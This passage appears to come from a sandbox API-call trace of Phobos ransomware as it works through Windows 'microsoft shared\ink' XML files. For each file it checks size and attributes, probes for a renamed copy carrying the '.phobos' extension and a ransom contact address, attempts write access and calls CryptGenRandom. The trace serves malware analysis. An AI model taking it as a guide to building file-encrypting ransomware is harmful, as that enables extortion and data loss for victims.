hTemplateFile=0x0) returned 0x584 [0148.279] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2514) returned 1 [0148.279] CloseHandle (hObject=0x584) returned 1 [0148.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0148.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.279] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.282] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2616) returned 1 [0148.282] CloseHandle (hObject=0x584) returned 1 [0148.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0148.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.283] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.283] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2618) returned 1 [0148.283] CloseHandle (hObject=0x584) returned 1 [0148.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0148.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.283] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.284] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2578) returned 1 [0148.284] CloseHandle (hObject=0x584) returned 1 [0148.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0148.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.285] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.285] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3024) returned 1 [0148.285] CloseHandle (hObject=0x584) returned 1 [0148.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0148.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.289] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.289] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2658) returned 1 [0148.289] CloseHandle (hObject=0x584) returned 1 [0148.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0148.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.290] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.290] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2628) returned 1 [0148.290] CloseHandle (hObject=0x584) returned 1 [0148.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0148.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.292] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2532) returned 1 [0148.292] CloseHandle (hObject=0x584) returned 1 [0148.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0148.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.296] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.296] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2518) returned 1 [0148.296] CloseHandle (hObject=0x584) returned 1 [0148.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0148.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.297] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2652) returned 1 [0148.297] CloseHandle (hObject=0x584) returned 1 [0148.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0148.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.299] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.299] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2570) returned 1 [0148.299] CloseHandle (hObject=0x584) returned 1 [0148.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0148.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.300] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.301] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2526) returned 1 [0148.301] CloseHandle (hObject=0x584) returned 1 [0148.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0148.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.302] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.302] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2522) returned 1 [0148.302] CloseHandle (hObject=0x584) returned 1 [0148.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0148.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.303] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.303] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2568) returned 1 [0148.303] CloseHandle (hObject=0x584) returned 1 [0148.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0148.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.304] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.304] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2626) returned 1 [0148.304] CloseHandle (hObject=0x584) returned 1 [0148.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0148.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.305] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.306] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2580) returned 1 [0148.306] CloseHandle (hObject=0x584) returned 1 [0148.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0148.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.306] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.307] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2600) returned 1 [0148.307] CloseHandle (hObject=0x584) returned 1 [0148.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0148.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.307] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.308] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2246) returned 1 [0148.308] CloseHandle (hObject=0x584) returned 1 [0148.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0148.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.309] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 